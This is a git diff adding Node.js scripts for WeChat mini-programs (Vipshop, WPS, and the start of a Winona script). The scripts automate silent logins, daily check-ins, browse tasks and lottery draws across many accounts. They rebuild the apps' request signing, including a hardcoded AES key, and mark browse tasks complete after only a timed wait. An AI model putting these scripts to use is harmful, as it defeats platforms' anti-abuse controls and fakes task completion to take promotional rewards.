+ auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function mask(v = "") { + v = String(v || ""); + if (!v) return ""; + if (v.length <= 12) return `${v.slice(0, 3)}***`; + return `${v.slice(0, 6)}***${v.slice(-6)}`; +} +function sha1(text) { + return crypto.createHash("sha1").update(String(text)).digest("hex"); +} +// @wxnpm/wx-randcode 同款格式:13位时间戳_32位hex(带校验位) +function createMarsCid() { + const timestamp = Date.now().toString(); + const randomHex = crypto.randomBytes(16).toString("hex"); + let sum = [...timestamp].reduce((total, value) => total + Number(value), 0); + const checksumIndex = sum % 32; + for (let i = 0; i < randomHex.length; i++) { + if (i !== checksumIndex) sum += parseInt(randomHex[i], 16); + } + const checksum = (sum % 16).toString(16); + return `${timestamp}_${randomHex.slice(0, checksumIndex)}${checksum}${randomHex.slice(checksumIndex + 1)}`; +} +function normalizeMarsCid(value) { + const candidate = String(value || "").trim(); + return /^\d{13}_[0-9a-f]{32}$/i.test(candidate) ? candidate : createMarsCid(); +} +function aesDecryptBase64(text) { + const key = Buffer.from("weixin_smallmina"); + const iv = Buffer.concat([Buffer.from("weixin"), Buffer.alloc(10)]); + const decipher = crypto.createDecipheriv("aes-128-cbc", key, iv); + let out = decipher.update(text, "base64", "utf8"); + out += decipher.final("utf8"); + return out; +} +function form(data = {}) { + const params = new URLSearchParams(); + for (const [key, value] of Object.entries(data)) { + if (value === undefined || value === null) continue; + params.append(key, typeof value === "object" ? JSON.stringify(value) : String(value)); + } + return params.toString(); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.openid = this.account.openid; + this.token = ""; + this.userId = ""; + this.vipOpenid = ""; + this.unionid = ""; + this.marsCid = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + baseData() { + return { + app_name: "shop_weixin_mina", + client: "wechat_mini_program", + source_app: "shop_weixin_mina", + api_key: API_KEY, + app_version: "4.0", + client_type: "wap", + format: "json", + mobile_platform: "2", + ver: "2.0", + standby_id: "native", + union_mark: "", + sd_tuijian: "", + mobile_channel: "nature", + mars_cid: this.marsCid, + warehouse: DEFAULT_WAREHOUSE, + fdc_area_id: DEFAULT_AREA, + province_id: DEFAULT_PROVINCE, + wap_consumer: "A1", + t: Math.floor(Date.now() / 1000), + net: "WIFI", + width: 375, + height: 667, + phone_model: "Windows", + phone_brand: "microsoft", + sys_version: "Windows 10", + is_default_area: "1", + app_theme_mode: "0", + app_theme_action: "0", + req_scene: 0, + }; + } + cookie() { + return [ + `mars_cid=${this.marsCid}`, + this.userId ? `userId=${this.userId}` : "", + `warehouse=${DEFAULT_WAREHOUSE}`, + this.token ? `VIP_TANK=${this.token}` : "", + "wap_consumer=A1", + ].filter(Boolean).join(";"); + } + paramHash(data = {}) { + const sorted = Object.keys(data).sort().reduce((obj, key) => { obj[key] = data[key]; return obj; }, {}); + const text = Object.keys(sorted) + .filter((key) => key !== "api_key") + .map((key) => { + let value = sorted[key]; + if (typeof value === "object") value = JSON.stringify(value); + return `${key}=${value}`; + }) + .join("&"); + return sha1(text); + } + signedHeaders(url, data) { + const pathOnly = url.replace(/^http(s)?:\/\/.*?\//, "/"); + const secret = aesDecryptBase64(SIGN_SECRET_ENC); + const apiSign = sha1(`${pathOnly}${this.paramHash(data)}${this.token}${this.marsCid}${secret}`); + const cookie = this.cookie(); + return { + "Content-Type": "application/x-www-form-urlencoded", + Cookie: cookie, + "X-Traceid": `${cookie};__need_sign=1`, + Authorization: `OAuth api_sign=${apiSign}`, + }; + } + async request(url, data, headers) { + const res = await axios.request({ + method: "POST", + url, + data: form(data), + timeout: 30000, + validateStatus: () => true, + headers: { + Accept: "application/json, text/plain, */*", + "User-Agent": UA, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PACKAGE_VERSION}/page-frame.html`, + ...(headers || {}), + }, + }); + return { status: res.status, data: res.data }; + } + async getCode() { + const { data } = await wechat.getCode(this.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + // 登录1:trylogin -> VIP_TANK + userId + async autoLogin(code) { + const data = { + ...this.baseData(), + hash: HASH, + code, + event: 2, + deviceId: this.marsCid, + context: JSON.stringify({ iv: "", encryptedData: "" }), + source_app_type: "shop_weixin_mina", + login_type: "WEIXIN_SMALL_APP", + third_type: "WEIXIN", + }; + const { status, data: res } = await this.request( + `https://mapi.vip.com/vips-mobile/rest/auth/third_party/trylogin/v1?api_key=${API_KEY}`, + data, + { "Content-Type": "application/x-www-form-urlencoded", Cookie: this.cookie() } + ); + if (status !== 200 || Number(res?.code) !== 1 || !res?.data?.tokenId) { + // code 70202 / "没有绑定唯品会账户" = 该微信号未绑定/未注册唯品会账户 + const msg = String(res?.msg || ""); + if (Number(res?.code) === 70202 || /没有绑定|未绑定|绑定唯品会/.test(msg)) { + this.unregistered = true; + throw new Error("NO_ACCOUNT:未绑定唯品会账户"); + } + throw new Error(`自动登录失败 HTTP ${status}: ${short(res)}`); + } + this.token = res.data.tokenId; + this.userId = String(res.data.userId || ""); + this.log(`登录成功 userId=${this.userId || "-"} VIP_TANK=${mask(this.token)}`); + } + // 登录2:getUserInfo -> vip openid(服务端由 code 派生,非明文微信 openid) + async getVipWechatInfo(code) { + const data = { ...this.baseData(), code, iv: "", encryptedData: "", hash: HASH }; + const { status, data: res } = await this.request( + `https://weixin-api.vip.com/v4/LiteApp/getUserInfo?api_key=${API_KEY}`, + data, + { "Content-Type": "application/x-www-form-urlencoded", Cookie: this.cookie() } + ); + if (status !== 200 || Number(res?.code) !== 0 || !res?.data?.openid) { + throw new Error(`获取唯品会openid失败 HTTP ${status}: ${short(res)}`); + } + this.vipOpenid = res.data.openid; + this.unionid = res.data.unionid || this.unionid; + this.log(`唯品会openid获取成功: ${mask(this.vipOpenid)}`); + } + saveCache() { + const cache = readCache(); + cache[this.openid] = { + ...(cache[this.openid] || {}), + token: this.token || (cache[this.openid] || {}).token || "", + userId: this.userId || (cache[this.openid] || {}).userId || "", + vipOpenid: this.vipOpenid || (cache[this.openid] || {}).vipOpenid || "", + unionid: this.unionid || (cache[this.openid] || {}).unionid || "", + marsCid: this.marsCid, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + removeLoginCache() { + const cache = readCache(); + if (cache[this.openid]) { + delete cache[this.openid].token; + delete cache[this.openid].userId; + writeCache(cache); + } + } + async login() { + // trylogin 与 getUserInfo 各自需要一个未消耗的 wx.login code,分别取 + const code1 = await this.getCode(); + await this.autoLogin(code1); + this.saveCache(); + const code2 = await this.getCode(); + await this.getVipWechatInfo(code2); + this.saveCache(); + } + async ensureLogin() { + const cached = readCache()[this.openid] || {}; + this.marsCid = normalizeMarsCid(cached.marsCid || this.marsCid); + this.token = this.token || cached.token || ""; + this.userId = this.userId || cached.userId || ""; + this.vipOpenid = this.vipOpenid || cached.vipOpenid || ""; + this.unionid = this.unionid || cached.unionid || ""; + if (this.token && this.userId && this.vipOpenid) { + this.log(`使用缓存登录态 userId=${this.userId} VIP_TANK=${mask(this.token)}`); + this.saveCache(); + return; + } + await this.login(); + } + async signInfo() { + const url = "https://act-ug.vip.com/checkInAward/withSign/info"; + const data = { ...this.baseData(), openid: this.vipOpenid, actId: ACT_ID, biz_code: "old" }; + const { status, data: res } = await this.request(`${url}?api_key=${API_KEY}`, data, this.signedHeaders(url, data)); + if (status !== 200 || Number(res?.code) !== 1) { + if (Number(res?.code) === 10013 || Number(res?.code) === -2) { this.removeLoginCache(); throw new Error("SESSION_EXPIRED"); } + throw new Error(`签到查询失败 HTTP ${status}: ${short(res)}`); + } + const info = res.data || {}; + const today = (info.checkInList || []).find((item) => Number(item.isCheckInDay) === 1) || {}; + this.log( + `签到信息: 今日${Number(today.isCheckIn) === 1 ? "已签" : "未签"},累计${info.numTotal ?? "-"}天,连续${info.nonStopNum ?? "-"}天,已得唯品币${info.awardVipcoinTotal ?? "-"}` + ); + return info; + } + async doCheckin() { + const url = "https://act-ug.vip.com/checkInAward/withSign/checkin"; + const data = { ...this.baseData(), openid: this.vipOpenid, actId: ACT_ID, biz_code: "old" }; + const { status, data: res } = await this.request(`${url}?api_key=${API_KEY}`, data, this.signedHeaders(url, data)); + if (status !== 200 || Number(res?.code) !== 1) { + const msg = String(res?.msg || res?.msgSpecial || ""); + if (/已签|重复|already/i.test(msg)) { this.log(`✅ 今日已签到(${msg})`); return; } + if (Number(res?.code) === 10013 || Number(res?.code) === -2) { this.removeLoginCache(); throw new Error("SESSION_EXPIRED"); } + throw new Error(`签到失败 HTTP ${status}: ${short(res)}`); + } + const result = res.data || {}; + this.log(`✅ 签到成功,获得${result.awardAmount ?? result.awardValDesc ?? "唯品币"},累计${result.numTotal ?? "-"}天,连续${result.nonStopNum ?? "-"}天`); + } + async sign() { + const before = await this.signInfo(); + const today = (before.checkInList || []).find((item) => Number(item.isCheckInDay) === 1) || {}; + if (Number(today.isCheckIn) === 1) { this.log("✅ 今日已签到"); return; } + await this.doCheckin(); + // 重新查询以输出准确的累计/连续天数 + try { await this.signInfo(); } catch (e) {} + } + async run() { + if (!this.openid) { this.log("跳过:变量值里没有 openid"); return; } + this.log(`开始执行 ${mask(this.openid)}`); + try { + await this.ensureLogin(); + await this.sign(); + this.saveCache(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没绑定唯品会账户,先在唯品会小程序里登录/绑定一次再跑"); + return; + } + if (String(e.message) === "SESSION_EXPIRED") { + // 缓存态失效,清缓存后整链重来一次 + this.log("会话失效,重新登录后重试"); + try { + this.token = ""; this.userId = ""; this.vipOpenid = ""; this.unionid = ""; + await this.login(); + await this.sign(); + this.saveCache(); + return; + } catch (e2) { + this.log(`执行失败: ${e2.message || e2}`); + return; + } + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/wps.js b/wxapp/wps.js new file mode 100644 index 00000000..8c93cd31 --- /dev/null +++ b/wxapp/wps.js @@ -0,0 +1,613 @@ +/* +WPS - 签到、日常浏览任务、抽奖次数查询/抽奖尝试 +cron: 40 8 * * * + +变量名:wps +变量值:wx_server 中保存的 openid/账号标识,多账号用 & 或换行分隔 + 也支持 openid#cookie 或 JSON:{"openid":"","cookie":"","secret":""} +依赖变量:wx_server_url、wx_auth +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("WPS"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "wps"; +const MINI_APP_ID = "wx2f333d84a103825d"; +const ACCOUNT_PLUGIN_APPID = "wxe5f87d6a233b5aab"; +const WPS_MPID = "app_op_act"; +const CLIENT_TYPE = 1; +const TOKEN_CACHE_FILE = path.join(__dirname, "wps_token_cache.json"); + +const ACCOUNT_BASE = "https://account.wps.cn"; +const PERSONAL_BUS = "https://personal-bus.wps.cn"; +const PERSONAL_ACT = "https://personal-act.wps.cn"; +const CLOCK_INFO = `${PERSONAL_BUS}/activity/clock_in/v1/info`; +const CLOCK_IN = `${PERSONAL_BUS}/activity/clock_in/v1/clock_in`; +const TASK_OUTLINE = `${PERSONAL_BUS}/activity/clock_in/v1/task/outline`; +const TASK_START_BROWSE = `${PERSONAL_BUS}/activity/clock_in/v1/task/start_browse`; +const TASK_FINISH_BROWSE = `${PERSONAL_BUS}/activity/clock_in/v1/task/finish_browse`; +const LOTTERY_TIMES = `${PERSONAL_BUS}/activity/clock_in/v1/task/lottery_times`; +const ACTIVITY_CONFIG = "https://personal-act.wpscdn.cn/srcapi/act/rubik-service/honeycomb-adapter/client/module-info?pid=113&mg_id=47736&id=48312"; +const LOTTERY_PAGE = "https://personal-act.wps.cn/rubik2/portal/HD2024082815116866/YM2024082815122017"; +const COMPONENT_ACTION = `${PERSONAL_ACT}/activity-rubik/activity/component_action`; +const LOTTERY_ACTIVITY = "HD2024082815116866"; +const LOTTERY_PAGE_NO = "YM2024082815122017"; +const LOTTERY_COMPONENT_NO = "ZJ2025092916516585"; +const LOTTERY_COMPONENT_NODE_ID = "FN1766995952bvx3"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`token缓存写入失败: ${e.message || e}`); + } +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function hmacSha256Hex(text, key) { + return crypto.createHmac("sha256", key).update(String(text)).digest("hex"); +} + +function base64url(input) { + return Buffer.from(input).toString("base64url"); +} + +function mask(value = "") { + value = String(value); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function parseCookie(cookie = "") { + if (!cookie || typeof cookie !== "string") return {}; + return Object.fromEntries( + cookie + .split(/;\s*/) + .filter((v) => v.includes("=")) + .map((v) => [v.slice(0, v.indexOf("=")).trim(), v.slice(v.indexOf("=") + 1).trim()]) + ); +} + +function cookieHeader(cookies = {}) { + return Object.entries(cookies) + .filter(([, v]) => v !== undefined && v !== null && String(v) !== "") + .map(([k, v]) => `${k}=${v}`) + .join(";"); +} + +function mergeSetCookie(setCookie = [], current = {}) { + const cookies = { ...current }; + for (const line of Array.isArray(setCookie) ? setCookie : [setCookie]) { + const first = String(line || "").split(";")[0]; + if (!first.includes("=")) continue; + const key = first.slice(0, first.indexOf("=")).trim(); + const value = first.slice(first.indexOf("=") + 1).trim(); + if (key) cookies[key] = value; + } + return cookies; +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return { openid: "", cookie: "", secret: "" }; + + if (text.startsWith("{")) { + try { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || data.account || "", + cookie: data.cookie || data.Cookie || "", + secret: data.secret || data.jsrsasign_secret || "", + }; + } catch {} + } + + for (const sep of ["#", "|"]) { + if (text.includes(sep)) { + const [openid, cookie, secret] = text.split(sep); + return { openid: openid.trim(), cookie: (cookie || "").trim(), secret: (secret || "").trim() }; + } + } + + if (text.includes("wps_sid=") || text.includes("kso_sid=")) return { openid: "", cookie: text, secret: "" }; + return { openid: text, cookie: "", secret: "" }; +} + +function canonicalJson(data = {}) { + const sorted = {}; + Object.keys(data || {}) + .sort() + .forEach((key) => { + sorted[key] = data[key]; + }); + return JSON.stringify(sorted); +} + +function makeSignature(data, config = {}) { + const key = config.key || ""; + const ss = config.ss || ""; + if (!key || !ss) return {}; + const date = new Date().toUTCString(); + const payload = `${key}${md5(canonicalJson(data))}${date}`; + return { + Date: date, + Signature: hmacSha256Hex(payload, ss), + }; +} + +function randomHex(bytes = 16) { + return crypto.randomBytes(bytes).toString("hex"); +} + +function makePopToken(method, url, secret, cv = "") { + if (!secret) return ""; + const header = base64url(JSON.stringify({ alg: "HS256", typ: "JWT" })); + const body = { + htm: String(method || "GET").toUpperCase(), + htu: new URL(url).pathname, + iat: Math.floor(Date.now() / 1000), + }; + if (cv) body.cv = cv; + const payload = base64url(JSON.stringify(body)); + const sig = crypto.createHmac("sha256", Buffer.from(secret)).update(`${header}.${payload}`).digest("base64url"); + return `${header}.${payload}.${sig}`; +} + +function genEcKeyPair() { + return crypto.generateKeyPairSync("ec", { namedCurve: "prime256v1" }); +} + +function signEc(privateKey, text) { + return crypto + .sign("sha256", Buffer.from(String(text)), { + key: privateKey.export({ type: "pkcs8", format: "pem" }), + dsaEncoding: "der", + }) + .toString("base64url"); +} + +function deriveSecret(privateKey, serverJwkB64) { + const jwk = JSON.parse(Buffer.from(serverJwkB64, "base64url").toString("utf8")); + const publicKey = crypto.createPublicKey({ key: jwk, format: "jwk" }); + return crypto.diffieHellman({ privateKey, publicKey }).toString("base64url"); +} + +async function wxServerCode(openid, appid) { + const { data } = await axios.post( + `${wechat.serverUrl}/wx/code`, + { appid, openid }, + { + headers: { auth: wechat.auth }, + timeout: 30000, + validateStatus: () => true, + } + ); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 code 失败"); + const code = data.data?.code || data.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; +} + +async function accountRequest(method, urlPath, { data = null, cookies = {}, secret = "" } = {}) { + const url = `${ACCOUNT_BASE}${urlPath}`; + const headers = { + platform: "wx_mini", + app_name: "account_wx_mini_plugin", + Cookie: `csrf=1234567890${cookieHeader(cookies) ? `;${cookieHeader(cookies)}` : ""}`, + "X-CSRFToken": "1234567890", + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/249/page-frame.html`, + }; + const pop = makePopToken(method, urlPath, secret, cookies.cv || ""); + if (pop) headers["X-Pop-Token"] = pop; + const res = await axios({ + method, + url, + data, + headers, + timeout: 20000, + validateStatus: () => true, + }); + return { data: res.data, cookies: mergeSetCookie(res.headers["set-cookie"], cookies), status: res.status }; +} + +async function wpsRequest(method, url, { data = null, params = null, cookies = {}, secret = "", signed = false, clockConfig = {}, headers: extraHeaders = {} } = {}) { + const csrf = "1234567890"; + const headers = { + "X-CSRFToken": csrf, + Cookie: `${cookieHeader(cookies)};csrf=${csrf}`, + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/249/page-frame.html`, + ...extraHeaders, + }; + const pop = makePopToken(method, url, secret, cookies.cv || ""); + if (pop) headers["X-Pop-Token"] = pop; + if (signed) Object.assign(headers, makeSignature(data || {}, clockConfig)); + + const res = await axios({ + method, + url, + data, + params, + headers, + timeout: 20000, + validateStatus: () => true, + }); + return { data: res.data, cookies: mergeSetCookie(res.headers["set-cookie"], cookies), status: res.status }; +} + +function assertOk(res, action) { + if (!res || res.result !== "ok") { + throw new Error(`${action}失败: ${res?.msg || res?.result || JSON.stringify(res)}`); + } + return res.data ?? res; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + const account = parseAccount(raw); + this.openid = account.openid; + this.cookies = parseCookie(account.cookie); + this.secret = account.secret || ""; + this.uid = this.cookies.uid || ""; + this.clockConfig = {}; + this.cacheKey = this.openid || this.cookies.uid || (account.cookie ? md5(account.cookie).slice(0, 16) : `account_${this.index}`); + } + + getCached() { + return readCache()[this.cacheKey] || {}; + } + + saveCache(extra = {}) { + const cache = readCache(); + cache[this.cacheKey] = { + ...(cache[this.cacheKey] || {}), + openid: this.openid || this.getCached().openid || "", + uid: this.uid || this.cookies.uid || "", + cookie: cookieHeader(this.cookies), + secret: this.secret, + ...extra, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeLogin() { + const cache = readCache(); + if (cache[this.cacheKey]) { + delete cache[this.cacheKey].cookie; + delete cache[this.cacheKey].secret; + writeCache(cache); + } + this.cookies = {}; + this.secret = ""; + } + + loadCache() { + const cache = this.getCached(); + if (!this.openid && cache.openid) this.openid = cache.openid; + if (!this.secret && cache.secret) this.secret = cache.secret; + if (!Object.keys(this.cookies).length && cache.cookie) this.cookies = parseCookie(cache.cookie); + this.uid = this.cookies.uid || cache.uid || this.uid || ""; + } + + async login() { + if (!this.openid) throw new Error("缺少 openid,无法自动登录。可设置 wps=openid 或 wps=openid#Cookie"); + const authCode = await wxServerCode(this.openid, ACCOUNT_PLUGIN_APPID); + const keyPair = genEcKeyPair(); + const body = { + type: "wxapp", + appid: ACCOUNT_PLUGIN_APPID, + auth_code: authCode, + public_key: base64url(JSON.stringify(keyPair.publicKey.export({ format: "jwk" }))), + auth_code_sign: signEc(keyPair.privateKey, authCode), + slv: "none", + }; + const res = await accountRequest("POST", "/passport/secure/api/easy_login", { data: body }); + const data = assertOk(res.data, "WPS自动登录"); + if (data.further_action) throw new Error(`WPS登录需要额外操作: ${data.further_action}`); + if (!data.jwk) throw new Error(`WPS登录未返回 jwk: ${JSON.stringify(res.data)}`); + this.cookies = res.cookies; + this.secret = deriveSecret(keyPair.privateKey, data.jwk); + this.uid = data.user_id || this.cookies.uid || ""; + this.saveCache(); + $.log(`账号[${this.index}] WPS登录成功: ${mask(this.uid || this.cookies.wps_sid)}`); + } + + async ensureLogin() { + this.loadCache(); + if (this.cookies.kso_sid && this.cookies.wps_sid && this.secret) return; + await this.login(); + } + + async request(method, url, options = {}) { + await this.ensureLogin(); + const res = await wpsRequest(method, url, { + ...options, + cookies: this.cookies, + secret: this.secret, + clockConfig: this.clockConfig, + }); + this.cookies = res.cookies; + this.saveCache(); + if (res.data?.msg === "empty wps_sid" || res.data?.result === "userNotLogin") { + if (!this.openid) throw new Error("WPS登录态失效,且缺少 openid 无法刷新"); + $.log(`账号[${this.index}] WPS登录态失效,重新登录`); + this.removeLogin(); + await this.login(); + const retry = await wpsRequest(method, url, { + ...options, + cookies: this.cookies, + secret: this.secret, + clockConfig: this.clockConfig, + }); + this.cookies = retry.cookies; + this.saveCache(); + return retry.data; + } + return res.data; + } + + async loadClockConfig() { + const res = await axios.get(ACTIVITY_CONFIG, { + timeout: 15000, + validateStatus: () => true, + headers: { + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/249/page-frame.html`, + }, + }); + if (res.data?.result === "ok" && res.data?.data?.value) { + this.clockConfig = res.data.data.value; + if (!this.clockConfig.key && this.clockConfig.s_key) this.clockConfig.key = this.clockConfig.s_key; + } + } + + async userInfo() { + const data = assertOk(await this.request("POST", "https://account.wps.cn/p/auth/check"), "查询用户信息"); + this.uid = data.userid || data.id || this.uid || this.cookies.uid || ""; + this.saveCache({ nickname: data.nickname || data.username || "" }); + $.log(`账号[${this.index}] 用户: ${mask(data.nickname || data.username || this.uid)}`); + } + + async sign() { + const body = { client_type: CLIENT_TYPE }; + const res = await this.request("POST", CLOCK_IN, { data: body, signed: true }); + if (res.result === "ok") { + const data = res.data || {}; + $.log(`账号[${this.index}] 签到成功: 连续${data.continuous_days ?? data.continuousDays ?? "未知"}天`); + return; + } + if (res.msg === "already clocked in today") { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + throw new Error(`签到失败: ${res.msg || JSON.stringify(res)}`); + } + + async clockInfo() { + try { + const res = await this.request("GET", CLOCK_INFO, { + params: { + client_type: CLIENT_TYPE, + page_index: 0, + page_size: 10, + }, + }); + if (res.result === "ok") { + const d = res.data || {}; + if (d.s_key) this.clockConfig.key = d.s_key; + $.log(`账号[${this.index}] 签到信息: 连续${d.continuous_days ?? 0}天,累计${d.clock_in_total_num ?? "未知"}人打卡`); + } + } catch (e) { + $.log(`账号[${this.index}] 查询签到信息失败: ${e.message || e}`); + } + } + + async getMainCode() { + if (!this.openid) return ""; + return wxServerCode(this.openid, MINI_APP_ID); + } + + async taskOutline() { + const authCode = await this.getMainCode(); + if (!authCode) throw new Error("缺少 openid,无法获取任务 auth_code"); + const res = await this.request("GET", TASK_OUTLINE, { + params: { + mp_id: WPS_MPID, + auth_code: authCode, + }, + }); + return assertOk(res, "查询任务列表") || {}; + } + + async lotteryTimes() { + const res = await this.request("GET", LOTTERY_TIMES, { + params: { + position: "wx_xcx_clock_activity", + }, + }); + if (res.result === "ok") { + $.log(`账号[${this.index}] 可抽奖次数: ${res.data ?? 0}`); + return Number(res.data || 0); + } + $.log(`账号[${this.index}] 查询抽奖次数失败: ${res.msg || JSON.stringify(res)}`); + return 0; + } + + flattenTasks(outline = {}) { + const tasks = []; + const collect = (type, item) => { + if (!item) return; + if (Array.isArray(item)) { + item.forEach((v) => collect(type, v)); + } else if (typeof item === "object") { + tasks.push({ ...item, type }); + } + }; + for (const [type, value] of Object.entries(outline)) collect(type, value); + return tasks; + } + + async doBrowseTask(task) { + const authCode = await this.getMainCode(); + const clientType = task.client_type || "wechat"; + const startBody = { + mp_id: WPS_MPID, + auth_code: authCode, + browse_app_id: task.app_id || MINI_APP_ID, + client_type: clientType, + version: "new", + }; + if (clientType !== "wechat" && task.path) startBody.path = task.path; + const start = await this.request("POST", TASK_START_BROWSE, { data: startBody }); + if (start.result !== "ok" && start.msg !== "任务已完成") { + $.log(`账号[${this.index}] 浏览任务启动失败[${task.title || task.task_id || task.app_id}]: ${start.msg || JSON.stringify(start)}`); + return false; + } + + await $.wait(16000, 17000); + + const finish = await this.request("POST", TASK_FINISH_BROWSE, { + data: { + mp_id: WPS_MPID, + auth_code: await this.getMainCode(), + app_id: clientType === "wechat_web" ? MINI_APP_ID : task.app_id || MINI_APP_ID, + client_type: clientType, + path: clientType === "wechat_web" ? task.path || "" : "", + version: "new", + user_id: Number(this.uid || this.cookies.uid || 0), + }, + }); + if (finish.result === "ok" || finish.msg === "任务已完成") { + $.log(`账号[${this.index}] 浏览任务完成: ${task.title || task.task_id || task.app_id || task.path || ""}`); + return true; + } + $.log(`账号[${this.index}] 浏览任务完成失败[${task.title || task.task_id || task.app_id}]: ${finish.msg || JSON.stringify(finish)}`); + return false; + } + + async browseTasks() { + let outline; + try { + outline = await this.taskOutline(); + } catch (e) { + $.log(`账号[${this.index}] 查询任务列表失败: ${e.message || e}`); + return; + } + const tasks = this.flattenTasks(outline).filter((t) => t.type === "browse" && Number(t.status || 0) !== 1); + if (!tasks.length) { + $.log(`账号[${this.index}] 暂无待完成浏览任务`); + return; + } + $.log(`账号[${this.index}] 待浏览任务: ${tasks.length}个`); + for (const task of tasks) { + try { + await this.doBrowseTask(task); + } catch (e) { + $.log(`账号[${this.index}] 浏览任务异常: ${e.message || e}`); + } + } + } + + async tryLotteryOnce(index) { + const actCsrf = randomHex(16); + const body = { + component_uniq_number: { + activity_number: LOTTERY_ACTIVITY, + page_number: LOTTERY_PAGE_NO, + component_number: LOTTERY_COMPONENT_NO, + component_node_id: LOTTERY_COMPONENT_NODE_ID, + filter_params: {}, + }, + component_type: 45, + component_action: "lottery_v2.exec", + lottery_v2: { + session_id: 1, + }, + }; + const cookies = { ...this.cookies, act_csrf_token: actCsrf }; + const res = await wpsRequest("POST", COMPONENT_ACTION, { + data: body, + cookies, + secret: this.secret, + headers: { + "Content-Type": "application/json", + "X-Act-Csrf-Token": actCsrf, + Referer: LOTTERY_PAGE, + }, + }).catch((e) => ({ data: { result: "error", msg: e.message || String(e) }, cookies: this.cookies })); + this.cookies = mergeSetCookie([], { ...this.cookies, ...res.cookies }); + this.saveCache(); + + const result = res.data; + if (result?.result === "ok" && result.data?.lottery_v2?.success) { + const reward = result.data.lottery_v2; + $.log(`账号[${this.index}] 抽奖[${index}]成功: ${reward.reward_name || reward.reward_type || JSON.stringify(reward).slice(0, 120)}`); + return true; + } + const detail = result?.data?.lottery_v2?.error_code ? `错误码${result.data.lottery_v2.error_code}` : result?.msg || JSON.stringify(result); + $.log(`账号[${this.index}] 抽奖[${index}]失败: ${detail}`); + return false; + } + + async lottery() { + const count = await this.lotteryTimes(); + const limit = Math.min(count, Number(process.env.wps_lottery_limit || 5)); + for (let i = 1; i <= limit; i++) { + const ok = await this.tryLotteryOnce(i); + if (!ok) break; + await $.wait(1000, 1800); + } + } + + async run() { + $.log(`\n账号[${this.index}] ${mask(this.openid || this.cacheKey)}`); + await this.ensureLogin(); + await this.loadClockConfig(); + await this.userInfo(); + await this.clockInfo(); + await this.sign(); + await this.browseTasks(); + await this.lottery(); + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) return; + for (const account of $.userList) { + try { + await new Task(account).run(); + } catch (e) { + $.log(`账号执行失败: ${e.message || e}`); + } + } +})() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done && $.done()); diff --git a/wxapp/wrn.js b/wxapp/wrn.js new file mode 100644 index 00000000..3d9f9766 --- /dev/null +++ b/wxapp/wrn.js @@ -0,0 +1,197 @@ +/* +------------------------------------------ +@Description: 薇诺娜专柜商城 - 微信小程序静默登录 + 每日签到 +cron: 41 8 * * * +------------------------------------------ +变量名:wrn +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx250394ab3f680bfa,host api.qiumeiapp.com;迁移自 YYB-GO 系脚本,原脚本已 code 登录): + +登录三步: + 1) wx_server 取 wx.login code + 2) 用 code 换明文 openId/unionId:GET https://zhls.qq.com/wxlogin/getOpenId?appid=&js_code= + -> 返回 {openId, unionId}(腾讯侧 